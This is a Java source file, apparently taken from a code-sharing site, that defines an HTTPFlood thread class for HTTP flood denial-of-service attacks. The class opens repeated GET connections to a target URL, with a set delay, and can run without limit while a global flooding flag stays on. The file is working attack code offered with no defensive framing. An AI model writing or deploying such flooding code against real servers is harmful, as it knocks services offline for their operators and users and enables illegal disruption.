📄 httpflood.java
字号:
import java.net.URL;
import java.net.HttpURLConnection;
class HTTPFlood extends Thread {
private String url;
private int delay;
private int connections;
private int count = 0;
public HTTPFlood(String url, int delay, int connections) {
this.url = url;
this.delay = delay;
this.connections = connections;
this.start();
}
public void run() {
while(FloodingStatus.httpFlooding && (this.count < this.connections || this.connections == 0)) {
try {
HttpURLConnection.setFollowRedirects(false);
HttpURLConnection conn = (HttpURLConnection)(new URL(this.url)).openConnection();
conn.setRequestMethod("GET");
conn.getResponseCode();
conn = null;
count++;
} catch(Exception e) {
} finally {
try {
this.sleep(this.delay);
} catch(InterruptedException ie) {
}
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -